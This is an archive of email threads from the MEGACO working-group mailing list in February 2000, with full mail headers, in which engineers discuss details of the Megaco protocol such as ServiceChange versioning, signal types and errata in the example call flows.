(LISTSERV-TCP/IP release 1.8d) with spool id 18335 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 19:57:06 -0500 Received: from mel.alcatel.fr (212.208.74.132) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.83B97950@standards.nortelnetworks.com>; Tue, 1 Feb 2000 19:57:05 -0500 Received: from aifhs10.alcatel.fr (mailhub2.alcatel.fr [155.132.188.80]) by mel.alcatel.fr (ALCANET/SMTP) with ESMTP id BAA08222 for ; Wed, 2 Feb 2000 01:51:56 +0100 Received: from frmta01.netfr.alcatel.fr (frmta01.netfr.alcatel.fr [155.132.210.164]) by aifhs10.alcatel.fr (ALCANET/SMTP2) with SMTP id BAA06219 for ; Wed, 2 Feb 2000 01:54:02 +0100 (MET) Received: by frmta01.netfr.alcatel.fr(Lotus SMTP MTA v4.6.6 (890.1 7-16-1999)) id C1256879.00056875 ; Wed, 2 Feb 2000 01:59:04 +0100 X-Lotus-FromDomain: ALCATEL Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Message-ID: Date: Wed, 2 Feb 2000 00:09:16 +0100 Reply-To: Ameneh.Zahir-Emami@ALCATEL.FR Sender: "Media Gateway Control (megaco)" From: Ameneh.Zahir-Emami@ALCATEL.FR Subject: some comments on Appendix A of megaco : Example call flows To: MEGACO@STANDARDS.NORTELNETWORKS.COM Although this appendix is only an example I found it very useful as i went through the megaco protocol. Here are some errors (at least I believe they are errors!) in the text that might be worth it if corrected... 3- In the description of the local control descriptor and in the ds0 package "ec" is supposed to be a boolean. 16- Add A5555 should be added between context = 5000 and Add = A5556.... 18- MG2 notifies the MGC that it has detected event 1234. But Event 1234 has not been defined. It should be defined in 15: context = $ Add = A5555 { Media { Stream = 1 { Local Control { mode = Send Receive} } event 1234 {al/of} signals {al/ri}........... 18- Fom MGC to MG2 A5555 is modified so that upon detection of a al/on signal ringing is turned off. I guess the same command should be sent to A4444 Hope I have understood the example. Ameneh From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 00:18:34 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA16491 for ; Wed, 2 Feb 2000 00:18:34 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.AF25EB40@standards.nortelnetworks.com>; Wed, 2 Feb 2000 0:16:00 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18423 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 00:14:54 -0500 Received: from prserv.net (32.97.166.32) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.21EDFDE0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 0:04:54 -0500 Received: from attglobal.net ([32.101.83.184]) by prserv.net (out2) with SMTP id <2000020205065222900f2q93e>; Wed, 2 Feb 2000 05:06:53 +0000 X-Mailer: Mozilla 4.6 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 References: <4FBEA8857476D311A03300204840E1CF208868@whq-msgusr-02.fore.com> <14487.32259.128619.249070@thomasm-u1.cisco.com> Content-Type: multipart/mixed; boundary="------------D2B5331B6FE9FB1CE497E26D" Message-ID: <3897BC5D.7BED61C2@attglobal.net> Date: Tue, 1 Feb 2000 21:10:53 -0800 Reply-To: robineh@attglobal.net Sender: "Media Gateway Control (megaco)" From: "Robin E. haberman" Subject: REMOVE To: MEGACO@STANDARDS.NORTELNETWORKS.COM This is a multi-part message in MIME format. --------------D2B5331B6FE9FB1CE497E26D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Michael Thomas wrote: > Rosen, Brian writes: > > Generally, I dislike having two ways to do something. > > So, > > x = x + 1; > > x += 1; > > x++; > > ++x; > > drives you crazy? I guess I just don't sweat syntactic > diversity so long as it compiles down to the same/similar > semantics. > > Mike --------------D2B5331B6FE9FB1CE497E26D Content-Type: text/x-vcard; charset=us-ascii; name="robineh.vcf" Content-Description: Card for Robin E. haberman Content-Disposition: attachment; filename="robineh.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Haberman;Robin E. tel;work:1.503.598.8292 x-mozilla-html:FALSE adr:;;;;;; version:2.1 email;internet:robineh@attglobal.net x-mozilla-cpt:;0 fn:Robin E. Haberman end:vcard --------------D2B5331B6FE9FB1CE497E26D-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 00:20:40 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA16508 for ; Wed, 2 Feb 2000 00:20:40 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.F79D3FE0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 0:18:02 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18469 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 00:16:59 -0500 Received: from tapti.hss.hns.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.CFD40200@standards.nortelnetworks.com>; Wed, 2 Feb 2000 0:16:55 -0500 Received: from sandesh.hss.hns.com (sandesh.hss.hns.com [139.85.242.35]) by tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id LAA10402 for ; Wed, 2 Feb 2000 11:17:21 +0530 (IST) Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) id 65256879.001C9D97 ; Wed, 2 Feb 2000 10:42:33 +0530 X-Lotus-FromDomain: HSS Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Message-ID: <65256879.001C93B6.00@sandesh.hss.hns.com> Date: Wed, 2 Feb 2000 10:43:02 +0530 Reply-To: samittal@HSS.HNS.COM Sender: "Media Gateway Control (megaco)" From: Sachin Mittal Subject: Profile and version in ServiceChange Descriptor To: MEGACO@STANDARDS.NORTELNETWORKS.COM The Profile field conatins a version and a version field is also included seperately in ServiceChange Descriptor. Are they different, or this is redundant information ? This might have been asked before but i am not able to find any. From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 01:03:44 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA17162 for ; Wed, 2 Feb 2000 01:03:42 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FC1D6210@standards.nortelnetworks.com>; Wed, 2 Feb 2000 1:01:06 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18533 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 00:59:26 -0500 Received: from ficon-tech.com (12.10.198.190) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.BED7CE40@standards.nortelnetworks.com>; Wed, 2 Feb 2000 0:59:23 -0500 Received: from ficon-tech.com (skylab.india.ficon-tech.com [172.25.2.100]) by ficon-tech.com (8.9.3/8.8.7) with ESMTP id LAA48405; Wed, 2 Feb 2000 11:25:28 +0530 (IST) (envelope-from hsanand@ficon-tech.com) X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 References: <65256879.001C93B6.00@sandesh.hss.hns.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <3897C75B.40404700@ficon-tech.com> Date: Wed, 2 Feb 2000 11:27:48 +0530 Reply-To: hsanand@ficon-tech.com Sender: "Media Gateway Control (megaco)" From: Harpreet Singh Anand Organization: Ficon Technology Subject: Re: Profile and version in ServiceChange Descriptor X-To: samittal@HSS.HNS.COM To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit Hello, > The Profile field conatins a version and a version field is also included > seperately in ServiceChange > Descriptor. Are they different, or this is redundant information ? The version in the profile field specifies the version of the profile being supported by the gateway. It is different from the version field which specifies the version of the MEGACO protocol. Quote from section 7.2.8: " The optional Profile parameter specifies the Profile (if any) of the protocol supported. The Profile includes the version of the profile supported. The optional Version parameter contains the protocol version and is used if protocol version negotiation occurs (see section 11.3). " A related question: What is the need of adding version field in ServiceChangeDescriptor when the same information is there in the first line of the message ? Regards, Harpreet _________________________________ Harpreet Singh Anand Ficon Technology E-mail : mailto:hsanand@ficon-tech.com Web : http://www.ficon-tech.com From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 09:18:16 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA09864 for ; Wed, 2 Feb 2000 09:18:16 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.0F8E4A40@standards.nortelnetworks.com>; Wed, 2 Feb 2000 9:15:34 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18818 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 09:13:53 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D33BC900@standards.nortelnetworks.com>; Wed, 2 Feb 2000 9:13:53 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 08:15:40 -0600 Received: from zcard00m.ca.nortel.com by zmers013; Wed, 2 Feb 2000 09:15:26 -0500 Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 1DZGCR7M; Wed, 2 Feb 2000 09:15:24 -0500 Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id DMXA275S; Wed, 2 Feb 2000 09:15:26 -0500 X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 References: <65256879.001C93B6.00@sandesh.hss.hns.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <38983C66.7B38FD7E@americasm01.nt.com> Date: Wed, 2 Feb 2000 09:17:11 -0500 Reply-To: Abdallah Rayhan Sender: "Media Gateway Control (megaco)" From: Abdallah Rayhan Organization: Nortel Networks Subject: Re: Profile and version in ServiceChange Descriptor X-To: samittal@HSS.HNS.COM To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit Profile version is different than protocol version. Protocol version is for the protocol syntax, semantics, functionality while profile is for the application of the protocol, MG IP phone is an application that would have a profile version, Profile in service change need not be used if no profile is not specified. Version in service change is used when changing the running version of the protocol, e.g., upgrading, downgrading. Abdallah Rayhan Sachin Mittal wrote: > The Profile field conatins a version and a version field is also included > seperately in ServiceChange > Descriptor. Are they different, or this is redundant information ? > > This might have been asked before but i am not able to find any. From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 09:25:08 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA10200 for ; Wed, 2 Feb 2000 09:25:07 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.0AB49230@standards.nortelnetworks.com>; Wed, 2 Feb 2000 9:22:35 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18834 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 09:20:58 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D0BFD710@standards.nortelnetworks.com>; Wed, 2 Feb 2000 9:20:58 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 08:22:43 -0600 Received: from zrchb213.us.nortel.com by zmers013; Wed, 2 Feb 2000 09:22:18 -0500 Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id <1D549MJQ>; Wed, 2 Feb 2000 08:22:12 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01BF6D88.E4902EDC" Message-ID: Date: Wed, 2 Feb 2000 08:22:13 -0600 Reply-To: Tom-PT Taylor Sender: "Media Gateway Control (megaco)" From: Tom-PT Taylor Subject: Re: Meaning Of BR Signal Type X-To: "Rosen, Brian" To: MEGACO@STANDARDS.NORTELNETWORKS.COM This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01BF6D88.E4902EDC Content-Type: text/plain It's a point of view. If you want to change the DTMF digit into a long tone, you also override the type by setting it to TO. This certainly isn't a crucial issue, but in my mind at least it would increase the justification for distinguishing BR from TO. > -----Original Message----- > From: Rosen, Brian [SMTP:brosen@FORE.COM] > Sent: Tuesday, February 01, 2000 6:47 PM > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > Subject: Re: Meaning Of BR Signal Type > > I don't agree with this. Every signal has a duration, and the DEFAULT may > be > provisioned, but it can be overridden. The MGC should be able to override > the > default. Certainly something like a DTMF digit has to be able to be > overridden to generate a "long tone" for example. > > I'd accept that some MGs may not be able to do this, but I expect that > won't > be much of a problem. > > Brian > > > -----Original Message----- > > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com] > > Sent: Tuesday, February 01, 2000 2:31 PM > > To: MEGACO@standards.nortelnetworks.com > > Subject: Meaning Of BR Signal Type > > > > > > This one has been flogged nearly to death, but from recent > > discussions I > > think we have the following understanding of the BR signal type. > > > > BR: the duration is known to the MG (either by provisioning > > or by design). > > The MGC must not specify a duration. > > > > I would propose that this definition replace the current text > > in section > > 7.1.11. > > > > > > Tom Taylor > > Advisor -- IPConnect Standards > > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor) > > Phone and FAX: +1 613 736 0961 > > ------_=_NextPart_001_01BF6D88.E4902EDC Content-Type: text/html Content-Transfer-Encoding: quoted-printable RE: Meaning Of BR Signal Type

It's a point of = view.  If you want to change the DTMF digit into a long tone, you = also override the type by setting it to TO.  This certainly isn't = a crucial issue, but in my mind at least it would increase the = justification for distinguishing BR from TO.

    -----Original Message-----
    From:   Rosen, Brian [SMTP:brosen@FORE.COM]
    Sent:   Tuesday, February 01, 2000 6:47 PM
    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
    Subject:       = Re: Meaning Of BR Signal Type

    I don't agree with this.  Every = signal has a duration, and the DEFAULT may
    be
    provisioned, but it can be = overridden.  The MGC should be able to override
    the
    default.  Certainly something = like a DTMF digit has to be able to be
    overridden to generate a "long = tone" for example.

    I'd accept that some MGs may not be = able to do this, but I expect that won't
    be much of a problem.

    Brian

    > -----Original Message-----
    > From: Tom-PT Taylor = [mailto:taylor@nortelnetworks.c= om]
    > Sent: Tuesday, February 01, 2000 = 2:31 PM
    > To: = MEGACO@standards.nortelnetworks.com
    > Subject: Meaning Of BR Signal = Type
    >
    >
    > This one has been flogged nearly = to death, but from recent
    > discussions I
    > think we have the following = understanding of the BR signal type.
    >
    > BR: the duration is known to the = MG (either by provisioning
    > or by design).
    > The MGC must not specify a = duration.
    >
    > I would propose that this = definition replace the current text
    > in section
    > 7.1.11.
    >
    >
    > Tom Taylor
    > Advisor -- IPConnect = Standards
    > E-mail: = taylor@nortelnetworks.com (internally, Tom-PT Taylor)
    > Phone and FAX: +1 613 736 = 0961
    >

------_=_NextPart_001_01BF6D88.E4902EDC-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 09:38:13 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA10864 for ; Wed, 2 Feb 2000 09:38:12 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.DF351830@standards.nortelnetworks.com>; Wed, 2 Feb 2000 9:35:41 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 18905 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 09:34:01 -0500 Received: from smtprch1.nortel.com (192.135.215.14) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A3360E20@standards.nortelnetworks.com>; Wed, 2 Feb 2000 9:34:01 -0500 Received: from zmers013 by smtprch1.nortel.com; Wed, 2 Feb 2000 08:35:13 -0600 Received: from zcard00n.ca.nortel.com by zmers013; Wed, 2 Feb 2000 09:34:56 -0500 Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00n.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 1DZKZP3Q; Wed, 2 Feb 2000 09:34:58 -0500 Received: from americasm01.nt.com (wcars052.ca.nortel.com [47.128.210.104]) by zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id DMXA279H; Wed, 2 Feb 2000 09:34:56 -0500 X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 References: <65256879.001C93B6.00@sandesh.hss.hns.com> <3897C75B.40404700@ficon-tech.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <389840F8.FE8FFB32@americasm01.nt.com> Date: Wed, 2 Feb 2000 09:36:41 -0500 Reply-To: Abdallah Rayhan Sender: "Media Gateway Control (megaco)" From: Abdallah Rayhan Organization: Nortel Networks Subject: Re: Profile and version in ServiceChange Descriptor X-To: hsanand@ficon-tech.com To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit The objective of message versioning is different from protocol versioning in service change. Messaging versioning is for efficient parsing and processing of the message as well as debugging. While protocol versioning in servicechane is for changing the protocol version without resorting to error messages. For example, 1- ; msg encoded in V1, servicechange version is 2 ; both MG and MGC understand V1 MG -------> MGC 2- ; msg is still encoded in V1, ; MGC rejects service change version, MGC does not support V2 ; MG realizes that it can not upgrade its communication with MGC MG <------- MGC 3- MG decides whether it wants to continue communication with MGC in V1 or halt. Another scenario would be that MGC supports V2 as well V1, so it accepts service change to V2. MG encodes its msgs using V2 syntax as well as MGC. The last two steps of the above scenario would be, 2- ; msg is still encoded in V1, ; MGC accepts service change version, MGC supports V2 ; MG realizes that it can upgrade its communication with MGC MG <------- MGC 3- ; msg is encoded in V2, MG -------> MGC Abdallah Rayhan Harpreet Singh Anand wrote: > Hello, > > > The Profile field conatins a version and a version field is also included > > seperately in ServiceChange > > Descriptor. Are they different, or this is redundant information ? > > The version in the profile field specifies the version of the profile being > supported by the gateway. It is different from the version field which specifies > the version of the MEGACO protocol. > > Quote from section 7.2.8: > > " The optional Profile parameter specifies the Profile (if any) of the > protocol supported. The Profile includes the version of the profile > supported. > > The optional Version parameter contains the protocol version and is used > if protocol version negotiation occurs (see section 11.3). " > > A related question: What is the need of adding version field in > ServiceChangeDescriptor when the same information is there in the first line of > the message ? > > Regards, > Harpreet > > _________________________________ > Harpreet Singh Anand > Ficon Technology > E-mail : mailto:hsanand@ficon-tech.com > Web : http://www.ficon-tech.com From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 11:01:57 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13451 for ; Wed, 2 Feb 2000 11:01:57 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7E6691D0@standards.nortelnetworks.com>; Wed, 2 Feb 2000 10:58:53 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19030 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 10:56:59 -0500 Received: from internal.mediatrix.com (205.237.248.36) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.D4A0C450@standards.nortelnetworks.com>; Wed, 2 Feb 2000 10:46:59 -0500 Received: by INTERNAL with Internet Mail Service (5.5.2448.0) id ; Wed, 2 Feb 2000 10:49:13 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="ISO-8859-1" Message-ID: <80E2FF0AC64DD311AC3700E02910AE0A257E7D@INTERNAL> Date: Wed, 2 Feb 2000 10:49:09 -0500 Reply-To: Guylain Lavoie Sender: "Media Gateway Control (megaco)" From: Guylain Lavoie Subject: ISUP Messages To: MEGACO@STANDARDS.NORTELNETWORKS.COM I just read the Media Gateway Control Protocol (MGCP) Call Flows November 18, 1998 draft , and there is something that I don't understand. In the flow control diagrams they show that there are ISUP interaction beetween the CA and the TGW, but what I don't understand is how these ISUP messages are transported over IP to the TGW, there must be some tunnelling done somewhere. I would appreciate if someone could explain this to me or point me to some other documentation? Thanks Guylain Lavoie Mediatrix Telecom Inc. 4229 Garlock Street Sherbrooke (Quebec) Canada J1L 2C8 Tel...: (819) 829-8749 ext 262 Fax...: (819) 829-5100 Web...: http://www.mediatrix.com Email.: glavoie@mediatrix.com From owner-megaco@STANDARDS.NORTELNETWORKS.COM Wed Feb 2 11:24:00 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13453 for ; Wed, 2 Feb 2000 11:01:57 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7EE9CB90@standards.nortelnetworks.com>; Wed, 2 Feb 2000 10:58:54 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 19031 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 2 Feb 2000 10:57:59 -0500 Received: from fw7.dsccc.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.F8771D20@standards.nortelnetworks.com>; Wed, 2 Feb 2000 10:47:59 -0500 Received: (from uucp@localhost) by fw7.dsccc.com (8.8.8+Sun/8.8.8) id JAA15164 for ; Wed, 2 Feb 2000 09:50:03 -0600 (CST) Received: from relay2.dsccc.com(143.209.238.7) by fw7 via smap (V2.0) id xma015093; Wed, 2 Feb 00 09:49:03 -0600 Received: from psun6.usa.alcatel.com (localhost [127.0.0.1]) by relay2.usa.alcatel.com (8.9.3/8.8.8) with ESMTP id JAA19977 for ; Wed, 2 Feb 2000 09:50:07 -0600 (CST) Received: from ssd.usa.alcatel.com ([127.0.0.1]) by psun6.usa.alcatel.com (Netscape Messaging Server 3.6) with ESMTP id AAB6F4F for ; Wed, 2 Feb 2000 09:48:59 -0600 Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with ESMTP id JAA05480 for ; Wed, 2 Feb 2000 09:48:18 -0600 (CST) Received: from usa.alcatel.com (localhost [127.0.0.1]) by sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id JAA19259 for ; Wed, 2 Feb 2000 09:48:17 -0600 (CST) X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="------------ABA47664F9F66F5125E54B57" Message-ID: <389851C0.5234608E@usa.alcatel.com> Date: Wed, 2 Feb 2000 09:48:17 -0600 Reply-To: Chuong Nguyen Sender: "Media Gateway Control (megaco)" From: Chuong Nguyen Subject: ServiceChange To: MEGACO@STANDARDS.NORTELNETWORKS.COM --------------ABA47664F9F66F5125E54B57 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi Section 7.2.8 ServiceChange "The return from ServiceChange has the same parameters as the input except that ServiceChange Method and ServiceChangeReason are optional. If provided they shall be the same as those specificied in the command." Does this statement apply to a ServiceChange Reply? If yes: 1) If the command contains a ServiceChangeDelay, does the reply also contains a ServiceChangeDelay? If yes, ABNF does not allow it? serviceChgReplyParam = (serviceChangeAddress / serviceChangeMgcId / serviceChangeProfile / serviceChangeVersion) I think the ABNF is correct and the intend is correct except for the wording: "The return from ServiceChange has the same parameters as the input ..." 2) It looks like the paragraph with "Summarizing use of properties in the ServiceChange Descriptor" needs to be clarified with something like "Summarizing use of properties in the ServiceChange Descriptor for a ServiceChange Request". Then another paragraph for "Summarizing use of properties in the ServiceChange Descriptor for a ServiceChange Reply." The ABNF shows that ServiceChange Descriptor and ServiceChangeMethod can have extension. Section 7.1.13 and 7.2.8 do not mention this. Do these 2 extensions go hand in hand? That is, can one have just a ServiceChangeMethod extension but not a ServiceChange Descriptor extension? "The optional Profile parameter specifies the Profile (if any) of the protocol supported. The Profile includes the version of the profile supported." Is the Profile version just the version of the Profile regardless of Megaco protocol version? Said the MG IP phone example given by Abdallah, IpPhone/1 and IpPhone/2. Are these 2 version # intended to imply IpPhone/1 supports Megaco v1 and IpPhone/2 supports Megaco v2? Or the version # is a release of different IpPhone version w/o regard to Megaco protocol version? If version # has no relationship to Megaco protocol version #, can "of the protocol supported" be removed? If yes, I hope no one needs to have several release of IpPhone Profile that supports Megaco protocol v1 because the ABNF "version" syntax does not support it. Section 9 Transport "The MG specifies the address (e.g. TCP/UDP port number) it wished the MGC to use for communication. The MGC replies ..." Some clarification wording might need to added to specify that ServiceChangeAddress only applies to UDP. For TCP, ServiceChangeAddress is ignored or not even supposed to be in the ServiceChange Descriptor. Is this what the consensus is from prior discussion on the List? Chuong -- Alcatel USA, Inc Internet: Chuong.Nguyen@usa.alcatel.com 1000 Coit Road Plano, Texas 75075 Phone: (972) 519-4613 **** The opinions expressed are not those of Alcatel USA, Inc **** --------------ABA47664F9F66F5125E54B57 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Hi

Section 7.2.8 ServiceChange

"The return from ServiceChange has the same parameters as the input except that
ServiceChange Method and ServiceChangeReason are optional.  If provided they shall
be the same as those specificied in the command."

Does this statement apply to a ServiceChange Reply?
If yes:
1) If the command contains a ServiceChangeDelay, does the reply also contains a ServiceChangeDelay?
     If yes, ABNF does not allow it?
          serviceChgReplyParam = (serviceChangeAddress / serviceChangeMgcId /
                                                        serviceChangeProfile / serviceChangeVersion)
     I think the ABNF is correct and the intend is correct except for the wording:
     "The return from ServiceChange has the same parameters as the input ..."
2) It looks like the paragraph with
     "Summarizing use of properties in the ServiceChange Descriptor" needs to be clarified
     with something like "Summarizing use of properties in the ServiceChange Descriptor
      for a ServiceChange Request".
     Then another paragraph for "Summarizing use of properties in the ServiceChange Descriptor
      for a ServiceChange Reply."
 

The ABNF shows that ServiceChange Descriptor and ServiceChangeMethod can have
extension.  Section 7.1.13 and 7.2.8 do not mention this.
Do these 2 extensions go hand in hand?  That is, can one have just a ServiceChangeMethod
extension but not a ServiceChange Descriptor extension?
 

"The optional Profile parameter specifies the Profile (if any) of the protocol supported.  The
Profile includes the version of the profile supported."
 
Is the Profile version just the version of the Profile regardless of Megaco protocol version?
Said the MG IP phone example given by Abdallah, IpPhone/1 and IpPhone/2.
Are these 2 version # intended to imply IpPhone/1 supports Megaco v1 and IpPhone/2
supports Megaco v2?  Or the version # is a release of different IpPhone version w/o
regard to Megaco protocol version?
If version # has no relationship to Megaco protocol version #, can "of the protocol supported" be
removed?
If yes, I hope no one needs to have several release of IpPhone Profile that supports Megaco
protocol v1 because the ABNF "version" syntax does not support it.

Section 9 Transport
"The MG specifies the address (e.g. TCP/UDP port number) it wished the MGC to use for
communication.  The MGC replies ..."
Some clarification wording might need to added to specify that ServiceChangeAddress only
applies to UDP.  For TCP, ServiceChangeAddress is ignored or not even supposed to be in
the ServiceChange Descriptor.  Is this what the consensus is from prior discussion on the List?
 

Chuong 

-- 
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****
